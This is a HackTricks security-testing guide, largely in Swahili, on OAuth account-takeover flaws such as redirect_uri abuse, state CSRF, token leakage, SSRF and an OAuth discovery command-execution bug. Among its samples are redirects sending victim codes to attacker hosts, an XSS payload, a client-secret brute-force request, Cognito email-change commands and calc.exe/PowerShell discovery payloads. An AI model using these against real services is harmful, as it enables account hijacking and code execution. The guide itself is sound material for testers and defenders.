OAuth kwa Kuchukua udhibiti wa akaunti
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.
Taarifa za Msingi
OAuth inatoa matoleo mbalimbali, na maarifa ya msingi yanapatikana kwenye OAuth 2.0 documentation. Majadiliano haya yanazingatia hasa OAuth 2.0 authorization code grant type, na hutatua mfumo wa idhini unaowezesha programu kupata au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine (seva ya idhini).
Fikiria tovuti ya mfano https://example.com, iliyoundwa kuonyesha machapisho yote ya mitandao yako ya kijamii, pamoja na yale ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumiwa. https://example.com itakuomba ruhusa yako ya kupata machapisho yako ya mitandao ya kijamii. Hivyo basi, skrini ya idhini itaonekana kwenye https://socialmedia.com, ikionyesha idhini zinazokuwa zinaombwa na msanidi programu anayefanya ombi. Baada ya ukikubali, https://example.com itapata uwezo wa kupata machapisho yako kwa niaba yako.
Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:
- resource owner: Wewe, kama mtumiaji/entiti, unatoa idhini ya upatikanaji wa rasilimali zako, kama machapisho ya akaunti yako ya mitandao ya kijamii.
- resource server: Seva inayosimamia maombi yaliyoidhinishwa baada ya programu kupata
access tokenkwa niaba yaresource owner, kwa mfano, https://socialmedia.com. - client application: Programu inayotafuta idhini kutoka kwa
resource owner, kama https://example.com. - authorization server: Seva inayotoa
access tokenskwaclient applicationbaada yaresource ownerkuthibitishwa na kupata idhini, kwa mfano, https://socialmedia.com. - client_id: Kitambulisho cha umma, cha kipekee kwa programu.
- client_secret: Ufundi wa siri, unaojulikana tu kwa programu na authorization server, unaotumika kuzalisha
access_tokens. - response_type: Thamani inayoelezea aina ya token inayotafutwa, kama
code. - scope: Kiwango cha upatikanaji ambacho
client applicationinakiomba kutoka kwaresource owner. - redirect_uri: URL ambayo mtumiaji atarudishwa baada ya idhini. Hii kawaida inapaswa kuendana na URL iliyosajiliwa awali.
- state: Parameta ya kuhifadhi data wakati mtumiaji anaporudishwa kwenda na kutoka kwa authorization server. Upekee wake ni muhimu kama kifaa cha kuzuia CSRF.
- grant_type: Parameta inayoonyesha aina ya grant na aina ya token itakayorejeshwa.
- code: Msimbo wa idhini kutoka kwa
authorization server, unaotumika pamoja naclient_idnaclient_secretna client application kupataaccess_token. - access_token: Tokeni ambayo client application inaitumia kwa maombi ya API kwa niaba ya
resource owner. - refresh_token: Inaruhusu programu kupata
access_tokenmpya bila kumwuliza tena mtumiaji.
Mtiririko
Mtiririko halisi wa OAuth unaenda kama ifuatavyo:
- Unaenda kwenye https://example.com na kubofya kitufe “Integrate with Social Media”.
- Tovuti hiyo kisha itatuma ombi kwa https://socialmedia.com ikiomba idhini yako ili kuruhusu application ya https://example.com kupata machapisho yako. Ombi limeundwa kama ifuatavyo:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Kisha utaonyeshwa ukurasa wa idhini.
- Baada ya idhini yako, Social Media itatuma jibu kwa
redirect_urilikiwa na vigezocodenastate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com inatumia
codehii, pamoja naclient_idnaclient_secret, kufanya ombi upande wa seva ili kupataaccess_tokenkwa niaba yako, ikikuwezesha kufikia ruhusa ulizokubali:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Mwisho, mchakato unakamilika wakati https://example.com inatumia
access_tokenyako kufanya API call kwa mitandao ya kijamii ili kufikia
Udhaifu
Open redirect_uri
Kulingana na RFC 6749 §3.1.2, authorization server lazima irudishe browser tu kwa pre-registered, exact redirect URIs. Udhaifu wowote hapa unamruhusu mshambuliaji kumtuma mwathirika kupitia authorization URL yenye madhara ili IdP impelekee code ya mwathirika (na state) moja kwa moja kwa endpoint ya mshambuliaji, ambaye anaweza kisha kuibadilisha na kuvuna tokens.
Mtiririko wa kawaida wa mashambulizi:
- Tengeneza
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackna uitume kwa mwathirika. - Mwathirika anathibitisha utambulisho wake na kuidhinisha scopes.
- IdP inarudisha kwa
attacker.tld/callback?code=<victim-code>&state=...ambapo mshambuliaji anarekodi ombi na mara moja anabadilisha code.
Hitilafu za kawaida za uthibitisho za kuchunguza:
- Hakuna uthibitisho – any absolute URL inakubaliwa, ikisababisha wizi wa code mara moja.
- Uthibitisho dhaifu wa substring/regex kwenye host – punguza kwa kutumia lookalikes kama
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, aumatch.com@evil.com. - IDN homograph mismatches – uthibitisho hufanyika kwa fomu ya punycode (
xn--), lakini browser inarudisha kwa domain ya Unicode inayodhibitiwa na mshambuliaji. - Arbitrary paths on an allowed host – pointing
redirect_urito/openredirect?next=https://attacker.tldau endpoint yoyote ya XSS/user-content leaks the code either through chained redirects, Referer headers, or injected JavaScript. - Directory constraints without normalization – patterns kama
/oauth/*zinaweza kupitishwa kwa/oauth/../anything. - Wildcard subdomains – accepting
*.example.cominamaanisha takeover yoyote (dangling DNS, S3 bucket, etc.) mara moja huleta callback halali. - Non-HTTPS callbacks – kuruhusu
http://URIs kupitia kunampa wanaoshambulia mtaa (Wi-Fi, corporate proxy) nafasi ya kunyanga code wakati wa usafirishaji.
Pitia pia vigezo vya aina ya redirect vya ziada (client_uri, policy_uri, tos_uri, initiate_login_uri, n.k.) na OpenID discovery document (/.well-known/openid-configuration) kwa endpoints za ziada ambazo zinaweza kurithi hitilafu zile zile za uthibitisho.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Kufunga redirect_uri kwa “owned/first-party domains” hakusaidii ikiwa domain yoyote iliyoorodheshwa inafichua attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, n.k.). Ikiwa OAuth/federated login flow returns tokens in the URL (query au hash), mshambuliaji anaweza:
- Anza mtiririko halali kutengeneza pre-token (mfano,
etokenkatika mtiririko wa hatua nyingi wa Accounts Center/FXAuth). - Tuma mwathirika authorization URL ambayo inaweka domain iliyoorodheshwa kama
redirect_uri/base_urilakini inaonyeshanext/path ndani ya namespace inayodhibitiwa na mshambuliaji (mfano,https://apps.facebook.com/<attacker_app>). - Baada mwathirika anakubali, IdP inarudisha kwa path inayodhibitiwa na mshambuliaji na thamani nyeti ndani ya URL (
token,blob, codes, n.k.). - JavaScript kwenye ukurasa huo unasoma
window.locationna exfiltrates the values licha ya domain kuwa “trusted.” - Replay thamani zilizokusanywa dhidi ya endpoints zilizo na hadhi chini ambazo zinaendelea kutegemea tu tokens zilizobebwa na redirect. Mfano kutoka kwa mtiririko wa FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS katika utekelezaji wa redirect
Kama ilivyoelezwa katika ripoti ya bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html kuna uwezekano kwamba redirect URL inarudishwa katika response ya server baada ya mtumiaji kuthibitisha, na hivyo inaweza kuwa vulnerable kwa XSS. Payload inayoweza kujaribiwa:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
Kurasa za makosa za callback za OAuth: reflected error_description, trusted-origin phishing, and encoded state leakage
Baadhi ya integrations za OAuth hutumia kurasa ya first-party callback page kuonyesha kushindwa kwa login baada ya IdP kurudisha browser nyuma. Kurasa hizi zina thamani kubwa kwa sababu tayari zinaendesha kwenye trusted origin na mara nyingi zinatumia vigezo vinavyoathiriwa na mshambuliaji kama error, error_description, message, description, au state.
- Reflecting
error_descriptioninto HTML bila strict output encoding kunaifanya callback kuwa trusted-origin phishing page. Hata pale<script>inapozuiwa, HTML injection bado inaweza kuiga ukurasa mzima wa kushindwa na kumwelekeza mhusika kufanya vitendo vya kuchaguliwa na mshambuliaji. - WAFs often key on common handlers kama
onload/onerror. Wakati payloads za kawaida zinazuia, jaribu browser-specific or uncommon events ambazo defenders huenda hawazimekee kwenye blacklist. Mfano halisi nionpagerevealya Safari, ambayo inaweza kutekelezwa wakati callback page yenye madhara inaonyeshwa kwenye Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: ikiwa injected HTML/JS inaweza kufungua tena au kupakia upya same callback URL, unaweza kupata client-side resource exhaustion, madirisha/tabs zinazorudiwa, au log flooding kila render.
- Always decode opaque-looking
statevalues. Implementations nyingi hufanya Base64-encode JSON au user metadata na kudhani hilo ni “hidden”. Base64 ni reversible, hivyo callback URLs zinaweza leak PII kama anwani za barua pepe, kitambulisho cha tenanti, return paths, au internal workflow state. - Treat URL exposure as part of the bug: chochote kilicho kwenye callback URL kinaweza baadaye kuonekana katika browser history, reverse proxies, load balancers, app logs, monitoring tools, screenshots, na
Refererheaders ikiwa ukurasa unapakia third-party resources.
Quick checks during testing:
- Endesha both success na failure OAuth callbacks na rekodi URL kamili pamoja na rendered HTML.
- Replay the callback huku ukibadilisha
error_description,message, na field nyingine za error kwa plain text, HTML, na event-handler payloads. - Decode
statekama Base64/URL-safe Base64 na kagua kwa PII au application state ambayo ingepaswa kubaki server-side. - Rudia browser-specific payloads katika Safari/WebKit wakati WAF inapuzuia inline-event XSS probes za kawaida.
CSRF - Improper handling of state parameter
The state parameter ni Authorization Code flow CSRF token: client lazima i-generate cryptographically random value per browser instance, ui-persist mahali ambapo browser hiyo tu inaweza kusoma (cookie, local storage, n.k.), uitume katika authorization request, na kukataa response yoyote isiyorudisha thamani ile ile. Wakati thamani ni static, predictable, optional, au haijafungwa kwa session ya mtumiaji, attacker anaweza kumaliza OAuth flow yao wenyewe, kunasa ombi la mwisho lenye ?code= (pasipo kulituma), na baadaye kulazimisha browser ya victim kucheza tena ombi hilo ili account ya victim iunganishwe na profile ya attacker kwenye identity provider.
The replay pattern ni daima ile ile:
- Attacker anafanya authentication dhidi ya IdP kwa account yao na kunasa redirect ya mwisho yenye
code(nastateyoyote). - Wanatoa ombi hilo, wanahifadhi URL, na baadaye wanachafua CSRF primitive yoyote (link, iframe, auto-submitting form) kuwalazimisha browser ya victim kuiloada.
- Ikiwa client haitumii
state, application inatumia authorization result ya attacker na kumu-login attacker kwenye account ya victim katika app.
Orodha ya vitendo kwa kushughulikia state wakati wa majaribio:
- Missing
stateentirely – ikiwa parameter haionekani kabisa, login nzima inaweza kuwa CSRFable. statenot required – ondoa kutoka kwa initial request; ikiwa IdP bado inatoa codes ambazo client inakubali, defense ni opt-in.- Returned
statenot validated – chafua value katika response (Burp, MITM proxy). Kukubali mismatched values kunamaanisha token iliyohifadhiwa haipimwi kamwe. - Predictable or purely data-driven
state– apps nyingi huweka redirect paths au JSON blobs ndani yastatebila kuchanganya randomness, kuwaruhusu attackers kubahatisha valid values na kucheza flows upya. Daima prepend/append entropy yenye nguvu kabla ya ku-encode data. statefixation – ikiwa app inaruhusu watumiaji kutoa value yastate(mfano, kupitia crafted authorization URLs) na kuitumia tena katika flow, attacker anaweza kuweka known value na kuitumia kwa waathiriwa mbalimbali.
PKCE inaweza kuongezea state (hasa kwa public clients) kwa ku-bind authorization code kwenye code verifier, lakini web clients bado lazima wafuatilie state ili kuzuia cross-user CSRF/account-linking bugs.
Pre Account Takeover
- Without Email Verification on Account Creation: Attackers wanaweza kuunda account mapema kwa kutumia email ya victim. Ikiwa victim baadaye atatumia third-party service kwa login, application inaweza bila kukusudia kuunganisha account ya third-party na account iliyotengenezwa mapema na attacker, na kusababisha ufikiaji usioidhinishwa.
- Exploiting Lax OAuth Email Verification: Attackers wanaweza kuchukua fursa ya OAuth services ambazo hazithibitishi emails kwa kujisajili kisha kubadilisha email ya account kuwa ya victim. Mbinu hii pia ina hatari ya ufikiaji usioidhinishwa wa account, kama katika senario ya kwanza lakini kupitia attack vector tofauti.
Disclosure of Secrets
The client_id ni kwa makusudi public, lakini client_secret must never be recoverable by end users. Authorization Code deployments zinazojumuisha secret ndani ya mobile APKs, desktop clients, or single-page apps kwa ufanisi zinamkabidhi mtu yeyote aliyeweza kupakua package credential hiyo. Daima inspect public clients kwa:
- Kufungua (unpacking) APK/IPA, desktop installer, au Electron app na kutafuta (
grep)client_secret, Base64 blobs ambazo zinatokana kuwa JSON, au OAuth endpoints zilizowekwa hard-coded. - Kukagua bundled config files (plist, JSON, XML) au decompiled strings kwa client credentials.
Mara attacker anapoondoa secret, wanahitaji tu kuiba authorization code ya victim (kupitia weak redirect_uri, logs, n.k.) ili kwa kujitegemea kufanya hit kwenye /token na kutengeneza access/refresh tokens bila kuhusisha app halali. Tendea public/native clients kama incapable of holding secrets—badala yake zinapaswa kutegemea PKCE (RFC 7636) kuthibitisha umiliki wa per-instance code verifier badala ya secret static. Wakati wa upimaji, thibitisha kama PKCE ni mandatory na kama backend kwa kweli inakataa token exchanges zinazokosa ama client_secret or valid code_verifier.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Mara mteja anapokuwa na code and state, ikiwa zinaonekana katika location.href au document.referrer na zinapelekwa kwa watu wa tatu, zina leak. Mifumo miwili inayojirudia:
- Classic Referer leak: baada ya OAuth redirect, yoyote navigation inayohifadhi
?code=&state=katika URL itaziweka ndani ya header ya Referer inayotumwa kwa CDNs/analytics/ads. - Telemetry/analytics confused deputy: baadhi ya SDKs (pixels/JS loggers) hureact kwa
postMessageevents kisha hutuma currentlocation.href/referrerkwa backend APIs kwa kutumia token iliyotolewa katika message. Ukiwa na njia ya kuingiza token yako mwenyewe katika mtiririko huo (mfano, kupitia attacker-controlled postMessage relay), unaweza baadaye kusoma history/logs za maombi ya SDK API na kurecover OAuth artifacts za mwathirika zilizowekwa ndani ya maombi hayo.
Access Token Iliyohifadhiwa Katika Historia ya Kivinjari
Dhamana kuu ya Authorization Code grant ni kwamba access tokens hazifiki kamwe kwenye browser ya mmiliki wa rasilimali. Wakati implementations zinapoleak tokens client-side, mdudu mdogo wowote (XSS, Referer leak, proxy logging) unawaweka wahalifu kwenye compromise ya akaunti mara moja. Daima angalia:
- Tokens in URLs – ikiwa
access_tokeninaonekana katika query/fragment, inafika katika historia ya kivinjari, server logs, analytics, na Referer headers zinazotumwa kwa watu wa tatu. - Tokens transiting untrusted middleboxes – kurudisha tokens kwa HTTP au kupitia debugging/corporate proxies kunaruhusu waangalizi wa mtandao kuzichukua moja kwa moja.
- Tokens stored in JavaScript state – React/Vue stores, global variables, au serialized JSON blobs zinafunua tokens kwa kila script kwenye origin (ikiwa ni pamoja na XSS payloads au extensions zenye nia mbaya).
- Tokens persisted in Web Storage –
localStorage/sessionStoragehuzima tokens kwa muda mrefu baada ya logout kwenye vifaa vinavyoshirikiwa na zinapatikana kwa script.
Moja ya uvumbuzi hivi kawaida huboresha bug ambazo zingekuwa “low” (kama CSP bypass au DOM XSS) hadi full API takeover kwa sababu attacker anaweza kusoma na kureplay leaked bearer token.
Everlasting Authorization Code
Authorization codes lazima ziwe short-lived, single-use, na replay-aware. Unapopima mtiririko, chukua code na:
- Test the lifetime – RFC 6749 inapendekeza dakika, si saa. Jaribu kutumia code tena baada ya 5–10 dakika; ikiwa bado inafanya kazi, window ya exposure kwa code yoyote iliyoleak ni kubwa sana.
- Test sequential reuse – tuma
codeile ile mara mbili. Ikiwa ombi la pili linatoa token nyingine, wahalifu wanaweza clone sessions kwa wakati usio na kipimo. - Test concurrent redemption/race conditions – tuma maombi mawili ya token kwa wakati mmoja (Burp intruder, turbo intruder). Issuers dhaifu wakati mwingine hutoa zote mbili.
- Observe replay handling – jaribio la reuse halipaswi tu kushindwa bali pia lifute tokens zozote tayari zilizotengenezwa kutoka kwa code hiyo. Vinginevyo, replay iliyogunduliwa inamhifadhi attacker token ya kwanza kuendelea kufanya kazi.
Kuchanganya code inayoruhusu replay na redirect_uri yoyote au mdudu wa logging kunaruhusu ufikiaji wa akaunti wa kudumu hata baada ya mwathirika kukamilisha login halali.
Authorization/Refresh Token not bound to client
Ikiwa unaweza kupata authorization code na kuiredeem kwa client/app tofauti, unaweza takeover akaunti za wengine. Jaribu kuangalia weak binding kwa:
- Kukamata
codekwa app A na kuituma kwa token endpoint ya app B; ikiwa bado unapata token, audience binding imevunjika. - Kujaribu first-party token minting endpoints ambazo zinapaswa kuwa zimetengwa kwa client IDs zao mwenyewe; ikiwa zinakubali
state/app_idyoyote huku zikitathmini tu code, unafanya kwa ufanisi authorization-code swap ili kuchapisha first-party tokens zenye vigezo vya juu. - Kuangalia kama client binding inaacha kwa kuzingatia nonce/redirect URI mismatch. Ikiwa ukurasa wa error bado unapakia SDKs zinazofanya logging ya
location.href, changanya na Referer/telemetry leaks ili kuiba codes na kuziweka redeem mahali pengine.
Kila endpoint inayobadilisha code → token inapaswa kuthibitisha client iliyotoa, redirect URI, na nonce; vinginevyo, code iliyoporwa kutoka app yoyote inaweza kuibadilishwa kuwa first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ unaweza kuona kwamba token ambayo AWS Cognito inamrudishia mtumiaji inaweza kuwa na permissions za kutosha kuoverwrites user data. Kwa hivyo, ikiwa unaweza kubadilisha user email kwa email tofauti, unaweza kuwa na uwezo wa take over akaunti za wengine.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
Kudhulumu tokens za Apps nyingine
Kama ilivyoelezwa katika mentioned in this writeup, OAuth flows ambazo zinatarajia kupokea token (na si code) zinaweza kuwa nyeti ikiwa hazikagui kwamba token inamilikiwa na app.
Hii ni kwa sababu attacker anaweza kuunda application supporting OAuth and login with Facebook (kwa mfano) ndani ya application yake mwenyewe. Kisha, mara victim atakapo login kwa Facebook katika attackers application, attacker anaweza kupata OAuth token ya user iliyotolewa kwa application yake, na kuitumia kuingia katika victim OAuth application akitumia token ya user ya victim.
Caution
Kwa hiyo, ikiwa attacker anafanikiwa kumfanya user aingie kwenye OAuth application yake mwenyewe, ataweza kunyakua account ya victim katika applications ambazo zinatarajia token na hazikagui kama token ilitolewa kwa app ID yao.
Two links & cookie
Kulingana na this writeup, ilikuwa inawezekana kumfanya victim afungue ukurasa wenye returnUrl unaoelekeza kwa host ya attacker. Taarifa hii ingewekwa katika cookie (RU) na katika hatua baadaye prompt itamuuliza user ikiwa anataka kumpa access host hiyo ya attacker.
Ili kuepuka prompt hii, ilikuwa inawezekana kufungua tabu kuanzisha Oauth flow ambayo ingeweka cookie ya RU kwa kutumia returnUrl, kufunga tabu kabla prompt haijaonyeshwa, na kufungua tabu mpya bila thamani hiyo. Kisha, prompt haitaanisha kuhusu host ya attacker, lakini cookie itakuwa imewekwa kwake, hivyo token itatumwa kwa host ya attacker katika redirection.
Prompt Interaction Bypass
Kama ilivyoelezwa katika this video, baadhi ya implementations za OAuth zinaweza kuruhusu kuweka parameter ya GET ya prompt kama None (&prompt=none) ili kuzuia watumiaji kuombwa kuthibitisha access iliyotolewa kwenye prompt kwenye wavuti ikiwa tayari wako logged in kwenye platform.
response_mode
Kama explained in this video, inaweza kuwa inawezekana kuweka parameter ya response_mode kuonyesha wapi unataka code itolewe kwa URL ya mwisho:
response_mode=query-> Code inatolewa ndani ya GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> Code inatolewa ndani ya fragment ya URL#code=2397rf3gu93fresponse_mode=form_post-> Code inatolewa ndani ya POST form yenye input iitwayocodena valueresponse_mode=web_message-> Code inatumwa kwa post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs ni malengo mazuri kwa clickjacking: ikiwa zinaweza kuingizwa ndani ya frame, attacker anaweza kuweka overlay ya graphics za kubuni, kuficha vitufe halisi, na kumdanganya user ili aidhinishe scopes hatari au kuunganisha accounts. Jenga PoCs ambazo:
- Zidisha IdP authorization URL ndani ya
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Tumia positioning/opacity tricks kulinganisha vitufe bandia na controls zilizofichwa za Allow/Approve.
- Kwa hiari jaza vigezo (scopes, redirect URI) ili approval iliyoporwa iumie attacker mara moja.
Wakati wa testing hakikisha kurasa za IdP zinatoa ama X-Frame-Options: DENY/SAMEORIGIN au Content-Security-Policy: frame-ancestors 'none' kali. Ikiwa hakuna, onesha hatari kwa kutumia tooling kama NCC Group’s clickjacking PoC generator na rekodi jinsi victim anavyoweza kumrudisha mwombaji app kwa urahisi. Kwa mawazo ya payload zaidi ona Clickjacking.
OAuth ROPC flow - 2 FA bypass
Kulingana na this blog post, huu ni OAuth flow unaoruhusu kuingia kwenye OAuth kwa kupitisha username na password. Ikiwa katika flow hii rahisi token yenye access kwa vitendo vyote user anaweza kufanya inarudiwa basi inawezekana kupitisha 2FA kwa kutumia token hiyo.
ATO on web page redirecting based on open redirect to referrer
Huo blogpost unaelezea jinsi ilivyowezekana kudhulumu open redirect kwa thamani ya referrer ili kutumia OAuth kufikia ATO. Shambulio lilikuwa:
- Victim anatembelea ukurasa wa attacker
- Victim anaweka link hatari na opener inaanzisha Google OAuth flow na
response_type=id_token,code&prompt=nonekama vigezo vya ziada huku referrer akiwa tovuti ya attacker. - Katika opener, baada ya provider kumtambulisha victim, inamrudisha kwa thamani ya
redirect_uri(tovuti ya victim) kwa redirection 30X ambayo bado inaweka tovuti ya attacker kama referer. - Tovuti ya victim inachochea open redirect kulingana na referrer ikimrudisha user kwa tovuti ya attacker; kwa kuwa
respose_typeilikuwaid_token,code, code itatumwa kwa attacker katika fragment ya URL na kumruhusu kunyakua account ya user kupitia Google kwenye tovuti ya victim.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration katika OAuth inatumikia kama vector isiyoonekana lakini muhimu kwa udhaifu wa usalama, hasa kwa mashambulizi ya Server-Side Request Forgery (SSRF). Endpoint hii inaruhusu servers za OAuth kupokea maelezo kuhusu client applications, ikiwa ni pamoja na URLs nyeti zinazoweza kutumika vibaya.
Key Points:
- Dynamic Client Registration mara nyingi inapatikana kwenye
/registerna inakubali maelezo kamaclient_name,client_secret,redirect_uris, na URLs za logos au JSON Web Key Sets (JWKs) kupitia POST requests. - Kipengele hiki kinafuata specs za RFC7591 na OpenID Connect Registration 1.0, ambavyo vinajumuisha vigezo vinavyoweza kuwa wazi kwa SSRF.
- Mchakato wa registration unaweza kwa bahati mbaya kuonyesha servers kwa SSRF kwa njia kadhaa:
logo_uri: URL ya logo ya client application ambayo server inaweza kuitafuta, ikasababisha SSRF au XSS ikiwa URL inashughulikiwa vibaya.jwks_uri: URL ya JWK document ya client, ambayo ikiwa imeundwa kwa ujeuri, inaweza kusababisha server kufanya requests za outbound kwa server inayodhibitiwa na attacker.sector_identifier_uri: Inareferensa array ya JSON yaredirect_uris, ambayo server inaweza kuitafuta, ikitoa nafasi ya SSRF.request_uris: Inaorodhesha request URIs zinazoruhusiwa kwa client, ambazo zinaweza kutumika vibaya ikiwa server inazitafuta mwanzoni mwa mchakato wa authorization.
Exploitation Strategy:
- SSRF inaweza kuelezwa kwa ku-register client mpya yenye URLs zenye madhara katika vigezo kama
logo_uri,jwks_uri, ausector_identifier_uri. - Wakati u exploit moja kwa moja kupitia
request_urisunaweza kuzuizwa na whitelist controls, kutoarequest_uriiliyosajiliwa mapema na inayodhibitiwa na attacker kunaweza kuwezesha SSRF wakati wa awamu ya authorization.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) inaonyesha jinsi dynamic OAuth discovery inavyokuwa RCE primitive wakati client inapopita metadata ya IdP moja kwa moja kwa operating system. MCP server ya mbali inarudisha authorization_endpoint inayodhibitiwa na attacker wakati wa discovery exchange (/.well-known/openid-configuration au RPC yoyote ya metadata). mcp-remote ≤0.1.15 ingewaita kisha system URL handler (start, open, xdg-open, etc.) na mfuatano wowote uliotumwa, hivyo scheme/path yoyote inayotambuliwa na OS ilitekelezwa mahali hapo.
Attack workflow
- Elekeza desktop agent kwa MCP/OAuth server hatari (
npx mcp-remote https://evil). Agent inapokea401pamoja na metadata. - Server inajibu kwa JSON kama:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Client inazindua OS handler kwa URI iliyotolewa. Windows inakubali payloads kama
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux zinakubalifile:///Applications/Calculator.app/...au hata custom schemes kamacmd://bash -lc '<payload>'ikiwa zimejisajili. - Kwa sababu hili hutokea kabla ya mwingiliano wowote wa mtumiaji, kusanidi tu client ili kuzungumza na attacker server kunasababisha utekelezaji wa msimbo.
How to test
- Lenga desktop/agent yoyote inayounga mkono OAuth ambayo inafanya discovery kupitia HTTP(S) na kufungua endpoints zilizorejeshwa kwa ndani (Electron apps, CLI helpers, thick clients).
- Kata au host discovery response na badilisha
authorization_endpoint,device_authorization_endpoint, au viwanja vinavyofanana nafile://,cmd://, UNC paths, au schemes nyingine hatari. - Angalia ikiwa client inathibitisha scheme/host. Ukosefu wa uthibitisho husababisha utekelezaji wa papo hapo chini ya muktadha wa mtumiaji na kuthibitisha tatizo.
- Rudia kwa schemes tofauti ili ramani uso wote wa shambulio (mf.,
ms-excel:,data:text/html,, custom protocol handlers) na onyesha uwezo wa kuvuka majukwaa.
OAuth providers Race Conditions
Ikiwa jukwaa unalolipima ni OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, the sub field hutambulisha mtumiaji kwa njia ya kipekee, lakini muundo wake unatofautiana kwa kila Authorization Server. Ili kuoanisha utambuzi wa watumiaji, baadhi ya clients hutumia emails au user handles. Hata hivyo, hii ni hatari kwa sababu:
- Baadhi ya Authorization Servers hawahakiki kwamba mali hizi (kama email) zitadumu zisibadilike.
- Katika utekelezaji fulani—kama “Login with Microsoft”—client inategemea uwanja wa email, ambao ni user-controlled by the user in Entra ID na haukathibitishwa.
- Mdhulumu anaweza kunufaika na hili kwa kuunda shirika lao la Azure AD (mf., doyensectestorg) na kulitumia kufanya Microsoft login.
- Ingawa Object ID (inayohifadhiwa katika sub) ni isiyobadilika na salama, utegemezi kwenye uwanja wa email unaoweza kubadilika unaweza kuwezesha account takeover (kwa mfano, kuiba akaunti kama victim@gmail.com).
Client Confusion Attack
Katika Client Confusion Attack, application inayotumia OAuth Implicit Flow inashindwa kuthibitisha kwamba access token ya mwisho imetengenezwa mahsusi kwa Client ID yake. Mdhulumu anaweka tovuti ya umma inayotumia Google’s OAuth Implicit Flow, akiwadanganya maelfu ya watumiaji kuingia na hivyo kuvuna access tokens zilizokusudiwa kwa tovuti ya mdhulumu. Ikiwa watumiaji hawa pia wana akaunti kwenye tovuti nyingine iliyo dhaifu ambayo haisahihi Client ID ya token, mdhulumu anaweza kutumia tena access tokens hizi kuvutia waathiriwa na kuchukua udhibiti wa akaunti zao.
Scope Upgrade Attack
Aina ya Authorization Code Grant inajumuisha mawasiliano salama server-to-server kwa kusafirisha data za mtumiaji. Hata hivyo, ikiwa Authorization Server inamwamini kwa kimya ndimi parameter ya scope katika Access Token Request (parameter ambayo haijatajwa katika RFC), application yenye nia mbaya inaweza kuinua vibali vya authorization code kwa kuomba scope ya juu. Baada ya Access Token kutengenezwa, Resource Server lazima liithibitishe: kwa JWT tokens, hili linahusisha kukagua signature ya JWT na kutoa data kama client_id na scope, wakati kwa token za random string, server lazima iulize Authorization Server ili kupata maelezo ya token.
Redirect Scheme Hijacking
